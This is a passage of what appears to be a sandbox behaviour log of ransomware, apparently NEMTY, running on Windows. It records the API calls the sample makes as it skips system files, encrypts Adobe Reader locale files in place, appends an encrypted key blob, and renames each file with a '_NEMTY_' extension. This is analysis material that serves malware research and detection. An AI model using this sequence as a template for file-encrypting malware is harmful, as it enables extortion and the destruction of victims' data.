nFileSizeLow=0xb200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.ITA", cAlternateFileName="ACCESS~1.ITA")) returned 1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2=".") returned 1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2="..") returned 1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2="...") returned 1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2="windows") returned -1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2="rsa") returned -1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2="NTDETECT.COM") returned -1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2="ntldr") returned -1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2="MSDOS.SYS") returned -1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2="IO.SYS") returned -1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2="boot.ini") returned -1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2="boot.ini") returned -1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2="AUTOEXEC.BAT") returned -1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2="ntuser.dat") returned -1 [0178.367] lstrcmpiW (lpString1="accessibility.ITA", lpString2="desktop.ini") returned -1 [0178.368] lstrcmpiW (lpString1="accessibility.ITA", lpString2="CONFIG.SYS") returned -1 [0178.368] lstrcmpiW (lpString1="accessibility.ITA", lpString2="RECYCLER") returned -1 [0178.368] lstrcmpiW (lpString1="accessibility.ITA", lpString2="BOOTSECT.BAK") returned -1 [0178.368] lstrcmpiW (lpString1="accessibility.ITA", lpString2="bootmgr") returned -1 [0178.368] lstrcmpiW (lpString1="accessibility.ITA", lpString2="programdata") returned -1 [0178.368] lstrcmpiW (lpString1="accessibility.ITA", lpString2="appdata") returned -1 [0178.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ITA", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0178.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ITA", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.ITA", lpUsedDefaultChar=0x0) returned 17 [0178.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0178.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ITA", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0178.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ITA", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.ITA", lpUsedDefaultChar=0x0) returned 17 [0178.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0178.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ITA", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0178.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ITA", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.ITA", lpUsedDefaultChar=0x0) returned 17 [0178.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ITA", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0178.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.ITA", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.ITA", lpUsedDefaultChar=0x0) returned 17 [0178.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.369] Sleep (dwMilliseconds=0x5) [0178.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1df8cfd0, dwHighDateTime=0x1d561e8)) [0178.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1df8cfd0, dwHighDateTime=0x1d561e8)) [0178.384] GetLastError () returned 0xb7 [0178.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.384] GetLastError () returned 0xb7 [0178.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0178.384] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.384] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.384] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.384] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="y80ifFd+E0FuDljketgo1iNRa+7SMRlloY/dG3Ezzbv6fa+XqkqPc1ZN/0t/llZr\r\nenb0gmxQ3DDd/hRFLFJaaTXadxTYQBlp3yDhz2RpuWNvhXi/Vq3OxHQMWFMw/301\r\nT3cIgMSEJG5wysyIAvyBFqPDYPuzYNVuj2IQEbulyb4OW/9YZwZn70x9V+eodlb0\r\nCKFWGPis+NsSVgRDUpnjlvsE7S8IxpihhllFWglZy06kOubRrVNgNDgWu4HSwR2a\r\nkAsRJqP4DU4jG4eclYna4ozyX23DTuIrm6tRjwGGNgtZnq14x3i4xhDvv0/xKXti\r\nxV6xfGCeqG9jZnJ+bA8kvQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0178.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.385] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\accessibility.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\accessibility.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.385] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=45568) returned 1 [0178.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb200) returned 0x6352c48 [0178.385] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.385] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xb200, lpOverlapped=0x0) returned 1 [0178.389] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.389] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xb200, lpOverlapped=0x0) returned 1 [0178.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.390] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=45568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb200 [0178.390] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.390] CloseHandle (hObject=0x2e8) returned 1 [0178.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.390] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0178.390] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0178.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0178.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0178.390] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\accessibility.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\accessibility.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\accessibility.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\accessibility.ita._nemty_kgobjgd_")) returned 1 [0178.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.391] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.ITA", cAlternateFileName="")) returned 1 [0178.391] lstrcmpiW (lpString1="Acroform.ITA", lpString2=".") returned 1 [0178.391] lstrcmpiW (lpString1="Acroform.ITA", lpString2="..") returned 1 [0178.391] lstrcmpiW (lpString1="Acroform.ITA", lpString2="...") returned 1 [0178.391] lstrcmpiW (lpString1="Acroform.ITA", lpString2="windows") returned -1 [0178.391] lstrcmpiW (lpString1="Acroform.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.391] lstrcmpiW (lpString1="Acroform.ITA", lpString2="rsa") returned -1 [0178.391] lstrcmpiW (lpString1="Acroform.ITA", lpString2="NTDETECT.COM") returned -1 [0178.391] lstrcmpiW (lpString1="Acroform.ITA", lpString2="ntldr") returned -1 [0178.391] lstrcmpiW (lpString1="Acroform.ITA", lpString2="MSDOS.SYS") returned -1 [0178.391] lstrcmpiW (lpString1="Acroform.ITA", lpString2="IO.SYS") returned -1 [0178.391] lstrcmpiW (lpString1="Acroform.ITA", lpString2="boot.ini") returned -1 [0178.391] lstrcmpiW (lpString1="Acroform.ITA", lpString2="boot.ini") returned -1 [0178.391] lstrcmpiW (lpString1="Acroform.ITA", lpString2="AUTOEXEC.BAT") returned -1 [0178.391] lstrcmpiW (lpString1="Acroform.ITA", lpString2="ntuser.dat") returned -1 [0178.392] lstrcmpiW (lpString1="Acroform.ITA", lpString2="desktop.ini") returned -1 [0178.392] lstrcmpiW (lpString1="Acroform.ITA", lpString2="CONFIG.SYS") returned -1 [0178.392] lstrcmpiW (lpString1="Acroform.ITA", lpString2="RECYCLER") returned -1 [0178.392] lstrcmpiW (lpString1="Acroform.ITA", lpString2="BOOTSECT.BAK") returned -1 [0178.392] lstrcmpiW (lpString1="Acroform.ITA", lpString2="bootmgr") returned -1 [0178.392] lstrcmpiW (lpString1="Acroform.ITA", lpString2="programdata") returned -1 [0178.392] lstrcmpiW (lpString1="Acroform.ITA", lpString2="appdata") returned -1 [0178.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ITA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ITA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ITA", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ITA", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.392] Sleep (dwMilliseconds=0x5) [0178.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dfb3130, dwHighDateTime=0x1d561e8)) [0178.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dfb3130, dwHighDateTime=0x1d561e8)) [0178.399] GetLastError () returned 0x0 [0178.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.399] GetLastError () returned 0x0 [0178.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.400] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.400] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.400] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.400] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="d/+G30IRB9gYd/vWJWv7b8YYlqQVtjVZl6va2DzMMLQENkaIcrBK0yhxBsc4JbdZ\r\n52cdbAWwCouTATaYj80tN2AXaLuI82D4b4mDUKUhuXwxQF5W+kYI3+K5mw2gDshD\r\nPUFNx8XX5wpA/MrZHaZDIUbZ68GfO15nddVhKHX5yq82X6XgU2C2ccXdSICWn9g/\r\nUP8wL5AY389HiyT+i6WKMdSRaiCa8df08U/nDf44TR1guc3umZMni1UhWLhfWtfP\r\nX7fOUHxUg0rNmYG1SFOkInjIekUBK+pIP5zIJp46qPjM3uBLW7Tx4xfjqTexmT8W\r\nG+EYtmenktcUg9hz4krC0Q==\r\n", pcchString=0x653e5dc) returned 1 [0178.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.400] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Acroform.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\acroform.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.400] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=434688) returned 1 [0178.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0178.400] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.400] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0178.410] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.410] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0178.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.410] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=434688, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a200 [0178.410] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.411] CloseHandle (hObject=0x2e8) returned 1 [0178.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.412] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 